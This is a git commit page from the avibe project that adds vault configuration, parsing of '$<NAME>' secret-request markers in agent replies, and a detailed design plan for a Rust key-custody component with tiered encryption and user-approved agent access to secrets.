Skip to content

armgit / avibe

Public Imported from GitHub
0

Make your computer a home for your AI partner. Avibe is the local-first Agent OS: Vibey, its built-in AI partner, works out of the box, and Claude Code, Codex & OpenCode run unchanged beside it — reach them from your browser, phone, or any chat app.

feat(vaults): standard-tier Vaults via the avault custody core (#631)

Call White9e0242a0eb3a
diff --git a/config/v2_config.py b/config/v2_config.py
index fb45134a2..b180b9809 100644
--- a/config/v2_config.py
+++ b/config/v2_config.py
@@ -274,12 +274,18 @@ class CodexConfig:
base_url: Optional[str] = None
+@dataclass
+class AVaultConfig:
+ cli_path: str = "avault"
+
+
@dataclass
class AgentsConfig:
default_backend: str = DEFAULT_AGENT_BACKEND
opencode: OpenCodeConfig = field(default_factory=OpenCodeConfig)
claude: ClaudeConfig = field(default_factory=ClaudeConfig)
codex: CodexConfig = field(default_factory=CodexConfig)
+ avault: AVaultConfig = field(default_factory=AVaultConfig)
@dataclass
@@ -513,14 +519,20 @@ class V2Config:
if not isinstance(codex_payload, dict):
raise ValueError("Config 'agents.codex' must be an object")
+ avault_payload = agents_payload.get("avault") or {}
+ if not isinstance(avault_payload, dict):
+ raise ValueError("Config 'agents.avault' must be an object")
+
opencode = OpenCodeConfig(**_filter_dataclass_fields(OpenCodeConfig, opencode_payload))
claude = ClaudeConfig(**_filter_dataclass_fields(ClaudeConfig, claude_payload))
codex = CodexConfig(**_filter_dataclass_fields(CodexConfig, codex_payload))
+ avault = AVaultConfig(**_filter_dataclass_fields(AVaultConfig, avault_payload))
agents = AgentsConfig(
opencode=opencode,
claude=claude,
codex=codex,
+ avault=avault,
)
ui_payload = payload.get("ui") or {}
@@ -684,6 +696,7 @@ class V2Config:
"opencode": self.agents.opencode.__dict__,
"claude": self.agents.claude.__dict__,
"codex": self.agents.codex.__dict__,
+ "avault": self.agents.avault.__dict__,
},
"gateway": self.gateway.__dict__ if self.gateway else None,
"ui": self.ui.__dict__,
diff --git a/core/reply_enhancer.py b/core/reply_enhancer.py
index 156642a1b..7a250c1c7 100644
--- a/core/reply_enhancer.py
+++ b/core/reply_enhancer.py
@@ -46,6 +46,19 @@ class QuickReplyButton:
text: str # Button label / reply text (e.g. "👌好的" or "好的")
+@dataclass
+class SecretRequest:
+ """A ``$<NAME>`` dynamic-ask marker found in agent reply text (Vaults).
+
+ The agent writes ``$<OPENAI_API_KEY>`` to ask the user for a secret; the value is
+ filled through a trusted UI channel, never the chat. The marker stays in ``.text``
+ so the web transcript can render it as a secure input card; IM replaces it with a
+ deep link in the platform formatter.
+ """
+
+ name: str
+
+
@dataclass
class EnhancedReply:
"""Result of processing an agent reply through the enhancer."""
@@ -53,6 +66,7 @@ class EnhancedReply:
text: str # Cleaned message text (file links & button block removed)
files: List[FileLink] = field(default_factory=list)
buttons: List[QuickReplyButton] = field(default_factory=list)
+ secret_requests: List[SecretRequest] = field(default_factory=list)
# ---------------------------------------------------------------------------
@@ -105,6 +119,12 @@ _PLAIN_LINKS_ONLY_RE = re.compile(r"(?:\s*\[[^\]]+\]\(" + _PLAIN_URL + r"\)\s*)+
_SILENT_BLOCK_RE = re.compile(r"<silent\b[^>]*>.*?</silent\s*>", re.IGNORECASE | re.DOTALL)
_UNTERMINATED_SILENT_RE = re.compile(r"<silent\b[^>]*>.*\Z", re.IGNORECASE | re.DOTALL)
+# Dynamic secret-ask markers: ``$<OPENAI_API_KEY>`` (ENV-style name). Matched only
+# outside fenced/inline code so a marker shown in an example isn't treated as a real
+# request — code spans are masked first.
+_SECRET_REQUEST_RE = re.compile(r"\$<([A-Z][A-Z0-9_]*)>")
+_CODE_SPAN_RE = re.compile(r"```.*?```|~~~.*?~~~|`[^`\n]*`", re.DOTALL)
+
# ---------------------------------------------------------------------------
# Public API
@@ -126,13 +146,14 @@ def process_reply(
uploaded to the platform separately).
"""
text = strip_silent_blocks(text)
+ secret_requests = _extract_secret_requests(text)
files = _extract_file_links(text)
text_no_files = text if keep_file_links else (_strip_file_links(text) if files else text)
if include_quick_replies:
buttons, text_clean = _extract_buttons(text_no_files)
else:
buttons, text_clean = [], text_no_files
- return EnhancedReply(text=text_clean.rstrip(), files=files, buttons=buttons)
+ return EnhancedReply(text=text_clean.rstrip(), files=files, buttons=buttons, secret_requests=secret_requests)
def strip_file_links(text: str) -> str:
@@ -199,6 +220,21 @@ def _strip_file_links(text: str) -> str:
return _FILE_LINK_RE.sub(_replacer, text)
+def _extract_secret_requests(text: str) -> List[SecretRequest]:
+ """Return ordered, de-duplicated ``$<NAME>`` markers found outside code spans."""
+ if not text or "$<" not in text:
+ return []
+ masked = _CODE_SPAN_RE.sub(lambda m: " " * len(m.group(0)), text)
+ out: List[SecretRequest] = []
+ seen: set[str] = set()
+ for match in _SECRET_REQUEST_RE.finditer(masked):
+ name = match.group(1)
+ if name not in seen:
+ seen.add(name)
+ out.append(SecretRequest(name=name))
+ return out
+
+
def _extract_buttons(text: str) -> Tuple[List[QuickReplyButton], str]:
"""Extract trailing quick-reply buttons and return ``(buttons, cleaned_text)``."""
m = _BUTTON_BLOCK_RE.search(text)
diff --git a/docs/plans/avault-custody-core.md b/docs/plans/avault-custody-core.md
new file mode 100644
index 000000000..769eca873
--- /dev/null
+++ b/docs/plans/avault-custody-core.md
@@ -0,0 +1,571 @@
+# avault — Rust custody core for Avibe Vaults (Avibe-side integration)
+
+**Status:** Approved · implementation started. The custody core lives in its own repo:
+[`avibe-bot/avault`](https://github.com/avibe-bot/avault) (Rust). The **authoritative full
+design** is `avault/docs/DESIGN.md` (mirrored from this document). **This doc now tracks the
+Avibe side** — how the Python daemon integrates avault — and stays in sync with the repo.
+**Owners:** Vaults workstream
+**Related:** #631 (Vaults P0), #632 (the "base avibe on vt" proposal that prompted this), `docs/plans/vaults.md`, `docs/plans/vaults-p2-signer.md`
+
+> Avibe-side integration surface to build (P1): route `storage/vault_crypto.py`'s value path
+> through the `avault` CLI; `ensure_avault_installed` in `vibe runtime prepare`;
+> `resolve_cli_path("avault")` + a Settings · Dependencies card; keep the `vault_secrets`
+> schema as the metadata source of truth. The crypto/store/signer themselves live in the
+> avault repo — see its `docs/DESIGN.md`.
+
+---
+
+## 0. TL;DR
+
+Build **`avault`** — a small, hardened **Rust** key-custody core under the `avibe-bot` org — and make it the only component in Avibe that ever holds key material or performs cryptography. We write it fresh (we do **not** fork `vt`), but we borrow `vt`'s proven ideas: a pure crypto core (`derive_dek` / AEAD-with-AAD / `Zeroizing`) and the "agent-as-DEK-broker" release protocol.
+
+Avibe (Python) keeps only **metadata and orchestration**. It never holds the master key, never decrypts, and never holds reusable secret state. The wire between Python and `avault` carries only **ciphertext** or **blobs sealed to `avault`** ("blind boxes") — never plaintext, never key material.
+
+`avault` integrates the same way `askill` does: a dependency that `vibe runtime prepare` ensures, resolved on `PATH`, surfaced in Settings · Dependencies.
+
+Two **trust roots**, chosen per secret:
+
+- **Standard tier (machine-rooted):** the root key lives on the machine (hardware keystore where available, `file+mlock` fallback). Headless use is allowed. Protects at-rest/disk-theft and keeps values out of the LLM, but does **not** survive a compromised machine.
+- **Protected tier (human-rooted):** the root (VMK) is wrapped by a factor only the user can supply in the browser (passkey-PRF or password). The machine alone cannot decrypt. **No headless use.** Survives a compromised machine.
+
+---
+
+## 1. Background & motivation
+
+### 1.1 Where Vaults P0 (#631) stands
+
+P0 ships the **standard tier** in Python:
+
+- Envelope encryption in `storage/vault_crypto.py`: a random per-secret DEK encrypts the value (AES-256-GCM); the DEK is wrapped under a 32-byte **machine key** at `~/.avibe/state/vault/machine.key` (mode 0600).
+- Short-lived CLI processes (`vibe vault set/list/run/fetch/request/export/inject/key`) do direct-DB + direct-crypto; no daemon.
+- Delivery modes: `run` (child env) and `fetch` (brokered HTTP); `export`/`inject` are help-only.
+- The core invariant: **the model handles secret _names_; the platform handles secret _values_.** `$<NAME>` dynamic-ask wakes the agent with a name only; `vault_secrets` is denylisted in `data query`.
+
+P0 is correct for what it is, and it should ship as-is. This document is about **P1+**.
+
+### 1.2 The gaps P0 leaves open
+
+1. **In-memory key hygiene (Python).** The machine key is an immutable `bytes`: it cannot be zeroized, it is copied into OpenSSL (a copy we do not control), and it is exposed to swap / coredump / ptrace with no `mlock` / `PR_SET_DUMPABLE` guard. This is a structural limit of Python's object model (immutability + GC + interning), not a patchable code smell.
+2. **The protected tier needs a factor not on the machine.** P0 leans on a browser passkey, which is unavailable in headless / native / IM-only contexts.
+3. **The signing oracle is unbuilt.** Keypair signing (ETH-first) has a design seam (`SignerProvider`) but no implementation.
+
+### 1.3 Why a Rust custody core
+
+For classic memory safety (no UAF/overflow) Python is already fine. The decisive difference is **secret-in-memory hygiene**: deterministic destruction, controlled copies, zeroization, page-locking, constant-time comparison. Python's object model structurally cannot deliver these; Rust can (`zeroize`, `subtle`, `mlock`).
+
+The danger of weak hygiene scales with **how long a secret lives × how often it is reused × whether it is a key**:
+
+- A **long-lived master key** held in Python is catastrophic — one key, alive for the whole daemon lifetime, unlocking every secret, un-zeroizable, GC-copied, swappable.
+- A **transient single value** crossing one request handler is a different magnitude — bounded, single-secret, single-request.
+
+The fix is therefore **not** "make sure no byte ever touches Python" (an absolutist claim that is impossible to fully honor and not the real issue). The fix is: **Python is never the component that holds keys, performs decryption, or keeps reusable secret state.** That is fully achievable, and it is what `avault` guarantees.
+
+### 1.4 Why a fresh project, not a fork of `vt`
+
+`vt` (≈6.7k LOC Rust) is an excellent reference and validates our design, but it is built for a different principal:
+
+- Its **principal is a human at a Mac**; ours is an **autonomous agent**.
+- Its **custody surface is macOS-only** (`server_macos/` is ≈54% of the codebase: Keychain, Secure Enclave/Touch ID, the 1.8k-LOC SSH-agent that also embeds its `AuthCache`, FIDO2). Only the ≈1.1k-LOC pure core (`derive_dek`, AEAD+AAD, the v2 envelope, `Zeroizing`) is cross-platform and directly reusable.
+- Its trust anchor is **Touch ID**; ours must be **browser passkey/password + a cross-platform machine store**.
+- Its signer is **SSH-agent (Ed25519/RSA/ECDSA)**; we need **secp256k1 (ETH)**.
+
+Forking it means inheriting the macOS shell we would rip out, while still rebuilding the cross-platform custody we actually need. Writing fresh lets us own a clean core shaped to our model and borrow `vt`'s ≈1.1k-LOC of proven crypto ideas directly. (See Appendix A.)
+
+---
+
+## 2. Goals & non-goals
+
+**Goals**
+
+- One hardened Rust component is the sole holder of key material and sole crypto engine.
+- Python never holds keys, never decrypts, never holds reusable secret state.
+- Cross-platform (macOS / Linux / headless), local-first.
+- Two explicit trust roots selectable per secret.
+- Integrate as a `vibe runtime prepare` dependency, mirroring `askill`.
+- An ETH-first signer with a path to hardware/external signers.
+
+**Non-goals (now)**
+
+- Replacing the P0 Python standard-tier path before P1 lands. P0 ships first.
+- Third-party custody (MPC providers, WalletConnect, 1Password import) — deferred.
+- A general multi-backend custody abstraction. We commit to one core (`avault`) behind the seam Vaults already designed; we do not build a plugin framework.
+
+---
+
+## 3. The fundamental law
+
+> **Headless autonomous use ⟺ the decryption capability lives on the machine.**
+
+If a secret must be usable by an unattended agent, the machine must be able to decrypt it without a human present — which means the key (or a path to it) is on the machine. You cannot have both "no human needed" and "key not on the machine." There is **no perfectly safe place** for a key that must support headless use; the honest answer is to **tier secrets by value** and pick the trust root per secret.
+
+(Moving the root to a remote KMS/HSM only relocates the problem: the machine still holds a bootstrap credential to call it, and it breaks local-first. Noted as an escape hatch, not the default.)
+
+---
+
+## 4. The two trust roots (tiers)
+
+### 4.1 Standard tier — machine-rooted
+
+- **Where the key lives:** the OS hardware keystore where available — macOS Keychain/Secure Enclave, Linux TPM — with `file+mlock` (0600) as the headless fallback.
+- **How it decrypts:** `avault` asks the keystore to release/use the master key. With a hardware element, the unwrap can happen inside the element and the raw key never leaves it.
+- **Headless:** yes. This is the point of the tier.
+- **What it protects:** at-rest encryption (a stolen disk/backup is useless); other processes (with a hardware store + ACL); swap/coredump; and values never enter the LLM, transcript, or Python's persistent state.
+- **What it does _not_ protect:** a machine compromised under your own UID. An attacker running as you can, while you are present/unlocked, coerce a decryption. Hardware keystores make the key **non-extractable**, but **use can still be coerced while unlocked.** The real boundary here is the OS account + the hardware element, not cryptography.
+- **Use it for:** API keys an agent uses headlessly.
+
+### 4.2 Protected tier — human-rooted
+
+- **Where the key lives:** the machine stores only the **wrapped VMK** (`wrapped_vmk`). The machine alone cannot unwrap it.
+- **How it decrypts:** only in the browser, with the user's factor.
+ - **Password:** `scrypt(password, salt)` → KEK → unwrap VMK locally (WebCrypto).
+ - **Passkey:** WebAuthn **PRF extension** → the authenticator (Touch ID / security key) returns a stable per-credential secret → unwrap VMK. Without the physical authenticator + the user gesture, the VMK cannot be derived.
+- **Headless:** no. Each use requires a live browser unlock ceremony.
+- **What it protects:** disk/backup theft, **and a compromised machine** (the attacker cannot produce the passkey gesture).
+- **Cost:** no unattended use.
+- **Use it for:** signing keys and crown-jewel secrets.
+
+| | Standard (machine-rooted) | Protected (human-rooted) |
+|---|---|---|
+| Root key at rest | master key in hardware keystore / `file+mlock` | only `wrapped_vmk`; machine can't open it |
+| Unlock factor | none (OS account + hardware element) | passkey-PRF or password, **in browser** |
+| Headless use | ✅ yes | ❌ no |
+| Survives stolen disk | ✅ | ✅ |
+| Survives compromised machine | ❌ | ✅ |
+| Plaintext ever in Python | transient on create (acceptable) — or 0 with blind box | **never** |
+| Typical secret | API keys | signing keys, crown jewels |
+
+---
+
+## 5. The blind-box boundary
+
+`avault` holds a keypair; its **public key** is known to the browser. The rule:
+
+> `avault` holds an **X25519** keypair; its public key is published to the browser via the daemon. Any sensitive datum that must cross the machine boundary is **sealed to that public key with HPKE** (RFC 9180 — DHKEM-X25519-HKDF-SHA256 / AES-256-GCM), producing an opaque envelope `{enc, ct‖tag}`. Python only ever relays a **blob it cannot open**. `avault` is the sole opener — and **plaintext only goes _into_ `avault`; it never comes back _out_ to Python.** `avault` returns only ciphertext, delivery side-effects, exit codes, or signatures. (Protected-tier callers must **pin / attest** `avault`'s public key — see §11.4.)
+
+This makes "does a byte touch Python?" the wrong question. Python carries only blind boxes and ciphertext; the **keys** (machine key, VMK, DEKs, `avault`'s private key) are never in Python; and `avault`'s API is shaped so cleartext can never flow back to its caller.
+
+### 5.1 What Python holds on each path
+
+| Path | Source does | Python holds | `avault` does |
+|---|---|---|---|
+| Standard create | seals the value to `avault`'s pubkey | a blind box | open → re-wrap under machine key → returns **ciphertext** to store |
+| Protected create | encrypts under VMK in the browser | ciphertext | not involved |
+| Standard deliver | — | the DB ciphertext | unwrap with machine key → inject → returns **exit code** |
+| Protected deliver | passkey unlock → releases the per-record **DEK**, sealed to `avault` | a blind box | open → decrypt DB ciphertext → deliver → returns **result** |
+
+In every row Python holds only ciphertext or a blind box. (The standard-create row can instead accept a transient plaintext POST; see §11.3.)
+
+---
+
+## 6. Components & responsibilities
+
+```
+┌────────────┐ blind box / signature ┌──────────────────────┐
+│ Browser │ ───────────────────────► │ Avibe daemon (Py) │
+│ (factor, │ ◄─────────────────────── │ metadata + relay │
+│ unlock, │ avault pubkey, ciphertext└──────────┬───────────┘
+│ signing) │ │ blind box / ciphertext
+└────────────┘ │ (never plaintext/keys)
+ ▼
+ ┌────────────────────────────────────┐
+ │ avault (Rust) │
+ │ • avault-core: AEAD+AAD, derive/ │
+ │ wrap DEK, Zeroizing │
+ │ • avault-store: master/VMK store │
+ │ • CLI (one-shot) + agent (resident)│
+ └───────┬───────────────┬─────────────┘
+ │ │
+ master/VMK store child process
+ (keychain/SE/TPM/ (env / file / HTTP egress)
+ file+mlock)
+```
+
+| | `avault` (Rust) | Avibe daemon (Python) |
+|---|---|---|
+| Key material | machine key / VMK / DEKs / its own keypair | **never holds any** |
+| Crypto | seal, open, sign, release-DEK | **never performs any** |
+| Storage | cross-platform master/VMK store | `vault_secrets` DB: ciphertext columns + all metadata |
+| Metadata / orchestration | none | groups, tags, links, audit, requests, REST/UI, `$<NAME>`, IM approval cards, scope-grant bookkeeping |
+| Delivery | run (child env) / fetch (HTTP egress) / inject (file) | initiates only; never touches plaintext |
+
+The DB (`vault_secrets` and friends) stays Python-owned and is the source of truth for **metadata**. `avault` never touches SQLite; Python passes it ciphertext blobs and gets back ciphertext or results.
+
+---
+
+## 7. End-to-end flows
+
+Running example: secret **`OPENAI_API_KEY`** (standard tier); task: over Slack you tell the agent "run `sync.py`," which needs the key.
+
+Through-line legend: 🔓 plaintext · 📦 blind box (sealed to `avault`) · 🔒 ciphertext · 🗝️ key material.
+
+### 7.1 Create
+
+**Standard tier (blind-box variant, recommended):**
+
+1. Browser collects name + value; 🔓 plaintext is in the browser only.
+2. Browser **seals the value to `avault`'s pubkey** → 📦; `POST /api/vault/secrets` carries the blind box.
+3. Daemon relays 📦 to `avault` (it cannot open it).
+4. `avault`: open 📦 → read master key from store → fresh DEK → AES-256-GCM encrypt (random nonce, **AAD = `name + scheme + version`**) → wrap DEK under master key → zeroize plaintext + DEK → return 🔒 `{ciphertext, nonce, wrap_meta}`.
+5. Daemon writes the row to `vault_secrets` (ciphertext, wrap_meta, preview `…last4`, `protection=standard`, audit `created`). 🔒 only; no plaintext, no key persists in Python.
+
+**Protected tier:** step 2 is the **browser encrypting under the VMK** (it unlocks the VMK with the passkey/password first, or uses an existing VMK session) and the POST body is already 🔒. Python never sees plaintext at all.
+
+### 7.2 Authorize
+
+The agent (a child process of the daemon) knows it needs the **name** `OPENAI_API_KEY`, not the value.
+
+1. Agent invokes the use, e.g. `vibe vault run --env OPENAI_API_KEY -- python sync.py` — it passes the **name**.
+2. Daemon checks for an active **grant** covering this secret / session / not expired.
+ - **Hit (within TTL):** skip approval, go to §7.3.
+ - **Miss:** the daemon pushes an **ApprovalCard** to the current session surface (Web chat card / IM interactive message):
+
+ ```
+ 🔐 Agent wants to use a secret
+ Session: #sync-task (Claude Code)
+ Secret: OPENAI_API_KEY ← name only, never the value
+ For: python sync.py ← the exact command
+ Egress: local child process (no network)
+ [✅ Approve once] [⏱️ 15 min · this session] [📦 group · 15 min] [🚫 Deny]
+ ```
+3. **Only the user, in the browser/IM, can approve.** Neither the agent nor the daemon can self-grant.
+4. On approval the daemon records a **grant** `{scope_type, scope_ref, session_id, expires_at}`. Within the TTL the same session reusing the same scope is not re-prompted; a different session / secret / expiry re-prompts.
+
+Honest boundary: this protects the value from entering the LLM context / transcript / Python, and lets the user **see the exact command** the agent will run. It is not a defense against a fully compromised agent the user blindly approves; the human-reviewed command is that line of defense.
+
+### 7.3 Decrypt & deliver
+
+**Standard tier:**
+
+1. Grant active. Daemon reads the row's 🔒 ciphertext + wrap_meta from the DB and hands them to `avault` with "deliver via run, command = `python sync.py`."
+2. `avault`: read master key → unwrap DEK → AES-GCM decrypt + verify AAD → 🔓 plaintext in a `Zeroizing` buffer.
+3. `avault` **forks `python sync.py`** with `OPENAI_API_KEY=<plaintext>` in the child's environment, waits, then zeroizes plaintext + DEK.
+4. Daemon receives only the **exit code** and writes a value-free `delivered` audit row.
+
+🔓 plaintext lived only in `avault`'s memory (wiped) and in `sync.py`'s environment. It never entered Python, the LLM context, or Slack.
+
+**`fetch` variant:** `avault` makes the HTTP request itself, attaching the secret at egress (header/bearer/query), and returns only the response body. The value never reaches a child env or Python.
+
+**Protected tier (DEK blind-box):** see §8.2 — the browser releases the per-record **DEK** sealed to `avault`; `avault` decrypts the DB ciphertext and delivers; the value materializes only inside `avault` for that one approved use.
+
+---
+
+## 8. Signing & the protected tier specifics
+
+The pivotal distinction:
+
+> A secret **value** (API key) is itself secret and must reach a machine-side consumer. A **signature** is public — so you never need to move the private key. **Sign where the key is unlocked.**
+
+### 8.1 What the browser produces — a key, not a value
+
+On a protected unlock the browser releases the **per-record DEK** (scoped to the grant), **not** the plaintext value and **not** the VMK:
+
+- Browser pipeline: factor → KEK → unwrap **VMK** → unwrap the secret's `wrapped_dek` → **DEK (32 bytes)**. It never needs the bulk ciphertext.
+- Releasing the per-record DEK (least privilege) — not the VMK — means `avault` can decrypt exactly the approved secret(s), not everything.
+- Keeping the value out of the browser JS heap is deliberate; the value should materialize in `avault`, not in the browser.
+
+### 8.2 Delivering a protected value
+
+Browser seals the DEK to `avault`'s pubkey → 📦 → daemon relays → `avault` opens, decrypts the DB ciphertext with the DEK, and delivers. For a scope grant, the browser releases the scope's DEK-set; `avault` caches it for the TTL (resident agent, §12). The value materializes only inside `avault`.
+
+### 8.3 ETH signing — sign in the browser
+
+For a high-value (protected) ETH key, **sign in the browser** with `@noble/curves` secp256k1 (same `@noble` family we already use for `@noble/hashes` scrypt):
+
+- Browser unlocks the private key, signs the tx/message locally, and returns **only the signature** (public, non-secret) through the daemon.
+- The private key **never reaches `avault`, Python, or the machine.** Strongest posture; cost is no headless signing.
+
+Honest constraints:
+
+- **secp256k1 is not supported by Secure Enclave / passkeys (all P-256).** So an ETH key is a **software key gated by a hardware factor** (passkey provides the unlock gesture; the key itself runs in browser JS via `@noble`). Putting the private key in hardware requires a **hardware wallet (Ledger / WalletConnect)** — the `external` `SignerProvider`, deferred.
+- Browser JS heap holds the key briefly; typed `Uint8Array` can be wiped after use (better than Python's immutable `bytes`), and the exposure is one operation while the user is present.
+
+### 8.4 If you want unattended signing
+
+Set the ETH key to the **standard tier** and have **`avault` sign** with a machine-rooted key (`avault` gains a secp256k1 signer). Weaker (the machine can sign while you are away) but enables automation. Choose the tier by the signing key's value.
+
+This maps onto the `SignerProvider` ladder: **local** (protected = browser-sign / standard = `avault`-sign) → **external** (hardware wallet, strongest, deferred) → **mpc** (deferred).
+
+Unifying principle:
+
+> **Value → browser releases the DEK; `avault` decrypts & delivers (value materializes in `avault`).**
+> **Signature → sign at the unlock point (browser); return only the signature (the private key never moves).**
+
+---
+
+## 9. Authorization & grants
+
+- **ApprovalCard** (§7.2) is rendered on the current session's surface (Web chat / IM). It shows the agent/session, the secret **name**, the exact command/host, the requested scope, and TTL options. It never shows the value.
+- **Scope-typed grants:** `{scope_type ∈ {secret, group, …}, scope_ref, session_id, expires_at}`. Recorded by the daemon; suppress re-prompts within the TTL.
+- **DEK cache (resident agent, P2):** after the first release, `avault` caches the unwrapped DEK-set for the grant TTL. Repeated uses in the window don't re-hit the store or re-prompt. The daemon proves it is the authorized caller via `SO_PEERCRED` (peer credential on the socket) — not a shared token. On expiry the cache is cleared and zeroized.
+
+Generalized from `vt`'s `AuthCache` rigor: strict TTL with **no** sliding refresh, idempotent grants, PID-reuse defense, lock-clears-the-cache — but re-keyed from `{TTY/app}` to `{scope_type, scope_ref, session_id}` and fed by the UI/IM approval path alongside (or instead of) a biometric one.
+
+---
+
+## 10. Envelope & crypto
+
+- **Keep the P0 `wrap_meta` column shape** (`{scheme, wrapped_dek, dek_nonce}`): storing `wrapped_dek` gives **cheap master rotation** (re-wrap DEKs without touching ciphertext) and does not break the P0 DB. We do **not** adopt `vt`'s pure-derive model (`derive_dek(master, salt)` with nothing stored), which forces a full re-encrypt on every master rotation. The hygiene win comes from Rust owning the key + crypto, which is orthogonal to the envelope shape.
+- **Borrow from `vt`:** AES-256-GCM with **AAD binding `name + scheme + version`** (so ciphertext can't be transplanted between records), HKDF-based DEK derivation where applicable, decrypt results in `Zeroizing`, constant-time compare (`subtle`).
+- **Protected tier:** VMK wrapped by N factor-copies (password via scrypt; passkey-PRF copies added browser-side), each secret's DEK wrapped by the VMK — the format already prototyped in `storage/vault_protected.py` and `ui/src/lib/vaultCrypto.ts`, now produced/consumed across the browser ↔ `avault` boundary.
+
+---
+
+## 11. Memory hygiene — why Rust, and the honest residuals
+
+### 11.1 Why Python can't
+
+- `bytes`/`str` are **immutable** → no in-place overwrite; you wait for GC and can't verify erasure.
+- GC may **move/copy** objects; small strings may be **interned**.
+- Passing into the crypto lib makes an **OpenSSL C-side copy** Python doesn't manage.
+- No `mlock` → pages can **swap** to disk; no `PR_SET_DUMPABLE=0` → **coredump/ptrace** can read it.
+
+For a **long-lived master key** every one of these is exposed for the whole daemon lifetime. That is the structural problem.
+
+### 11.2 Why Rust can
+
+`Zeroizing<…>` buffers wiped on deterministic `Drop`; constant-time comparison (`subtle`); `mlock` + `PR_SET_DUMPABLE(0)` on the key pages; tight control over copies. `avault` holds keys for the minimum window and wipes them.
+
+### 11.3 The honest residual on standard-create
+
+If standard-create takes a **plaintext POST** (no blind box), the value exists as one transient `bytes` in one Python request — un-zeroizable, briefly swappable. It is bounded (single value, single request, not reused) and the daemon is **in-boundary for the standard tier anyway** (it can ask `avault` to decrypt any standard secret). So it is an acceptable, minimized residual — or eliminated entirely by the **blind-box create** (§7.1), which is the recommended default.
+
+### 11.4 The other honest caveat — pubkey integrity
+
+The blind box assumes the browser gets `avault`'s **genuine** public key. A fully compromised daemon could substitute its own key when relaying. For the **standard tier** the daemon is in-boundary (not in the threat model). For the **protected tier** (where a compromised daemon _is_ in scope), `avault`'s pubkey must be **pinned / attested** (TOFU + pin, or shown to the user) — an explicit control, called out, not buried.
+
+---
+
+## 12. Integration model — like `askill`
+
+`askill` is the precedent: a required local dependency that `vibe runtime prepare` ensures (`ensure_askill_installed`), resolved via `resolve_cli_path("askill")`, reported by `askill_status()`, surfaced in **Settings · Dependencies**, with a managed auto-reconcile loop.
+
+`avault` mirrors the **touchpoints** exactly:
+
+- `vibe runtime prepare` → `ensure_avault_installed` (idempotent; skipped under `--offline`).
+- `resolve_cli_path("avault")` on `PATH`; config `agents.avault.cli_path`.
+- `avault_status()` → installed / version / path, shown as a Settings · Dependencies card.
+
+**Distribution — recommend the Show-Runtime model over `askill`'s `curl | sh`.** A custody binary is version-sensitive (client/agent must match; `vt`'s own README warns about lockstep upgrades). So ship **per-platform prebuilt `avault` binaries bundled in the wheel + a manifest, version-locked to the avibe release** (exactly how Show Runtime ships its `*.tgz`), rather than a floating `curl | sh`. The integration touchpoint stays identical; the distribution is safer.
+
+**Two run modes (same binary):**
+
+1. **CLI one-shot (P1):** the daemon spawns `avault seal/open/...`; it reads the master key, uses it, wipes it on `Drop`, exits. The common path is `askill`-shaped, and the per-op window already gets Rust hygiene.
+2. **Resident agent (P2):** `avault agent` listens on a unix socket, holds the grant DEK-set for the TTL, and is the signing oracle. The daemon authorizes via `SO_PEERCRED`. Only grant-caching and signing pay this cost.
+
+**Ingest without Python reading plaintext:** for the CLI `set` path, pass stdin's **file descriptor** straight to the `avault` subprocess (Python never `read()`s the bytes). For the web path, the browser uses the blind box (§7.1).
+
+---
+
+## 13. Cross-platform key stores
+
+`avault-store` selects the strongest local store available:
+
+- **P1:** `file + mlock` (0600) — works headless, on Linux, and on macOS. Universal baseline.
+- **Later, as factors / stronger roots:** macOS **Keychain / Secure Enclave**, Linux **TPM** (seal/unseal, optional PCR/auth binding), cloud **KMS** KEK. These raise standard-tier strength (non-extractable keys) and can serve as protected-tier factors on the machine for the no-browser case.
+
+This is an internal store selection inside `avault`, not an Avibe-level plugin layer.
+
+---
+
+## 14. Project shape
+
+- **Repo:** `avibe-bot/avault` (name provisional — see §16).
+- **Cargo workspace:**
+
+ ```
+ avault/
+ ├─ crates/
+ │ ├─ avault-core/ # pure crypto: AEAD+AAD, derive/wrap DEK, envelope, Zeroizing. No I/O, no platform deps. Unit-tested, auditable.
+ │ ├─ avault-store/ # cross-platform master/VMK store: file+mlock (P1) → keychain/SE/TPM/KMS
+ │ └─ avault-cli/ # the `avault` binary: one-shot ops + the resident agent
+ └─ ...
+ ```
+
+- `avault-core` is the auditable heart; it borrows `vt`'s proven crypto shapes and has no platform or I/O dependencies.
+
+---
+
+## 15. Roadmap
+
+| Phase | Scope | State |
+|---|---|---|
+| **P0** | Python standard tier: DB + envelope + delivery + `$<NAME>` (#631) | **done — keep & merge; not replaced before P1** |
+| **P1** | `avault-core` + CLI + `file+mlock` store; Rust takes standard-tier seal/open; blind-box create; `vibe runtime prepare` ensure + Dependencies card. Closes the memory-hygiene gap. | next |
+| **P2** | Resident agent + `SO_PEERCRED` + scope-grant DEK cache + signer (secp256k1; approval-card context in the sign prompt). Protected-tier non-browser factors via hardware stores. | after P1 |
+| **P3** | Multi-factor (passkey-PRF copies, TPM, KMS KEK); external `SignerProvider` (hardware wallet / WalletConnect). | later |
+
+**Recommendation:** make P1 **CLI-only** — push the agent, grants, and signing to P2 — so the first step is small and headlessly verifiable.
+
+---
+
+## 16. Decisions — settled (2026-06-25)
+
+All settled; the authoritative record is **`avault/docs/DESIGN.md` §16**. Summary:
+
+1. **Name** → `avault`.
+2. **Envelope** → `wrapped_dek` (random per-record DEK wrapped under master/VMK; cheap rotation, unified standard+protected envelope; protected adds N `wrapped_vmk` factor-copies — password/passkey/device/recovery, any one unlocks).
+3. **Distribution** → real manifest-pinned release pipeline (Show-Runtime model), stub-first, `macos-arm64` + `linux-x64`, macOS signing as a sub-task.
+4. **P1 scope** → standard-tier CLI core (this doc's Avibe-side wiring + the avault crypto/store/CLI). Agent / grants / signing / protected tier → P2.
+5. **Protected-tier pubkey trust** → deferred to P2; lean attest, interim pin.
+6. **Transport** → CLI is the conservative default (P1); resident agent (P2) is a hardened tradeoff for grant-cache + signing.
+7. **No-hardware store** → add `file + passphrase` (P2): passphrase-wrapped master, unlock once at startup; defends at-rest, not the running machine.
+
+---
+
+## 17. Honest residuals (collected)
+
+- **Standard-create transient plaintext** in Python if not using the blind box — bounded, acceptable, or eliminated by blind-box create (§11.3).
+- **`avault` pubkey distribution integrity** — in-boundary for standard; needs pin/attest for protected (§11.4).
+- **Standard tier ≠ machine-compromise resistance** — it is at-rest + use-gating + no-LLM-exposure, not "safe if the box is owned" (§4.1).
+- **Browser JS hygiene** is best-effort (wipeable typed arrays, non-extractable WebCrypto keys), not a secure enclave; exposure is one operation while the user is present (§8.3).
+- **secp256k1 is not hardware-backed** on Apple SE / passkeys — software key + hardware unlock factor; true hardware custody needs an external wallet (§8.3).
+
+---
+
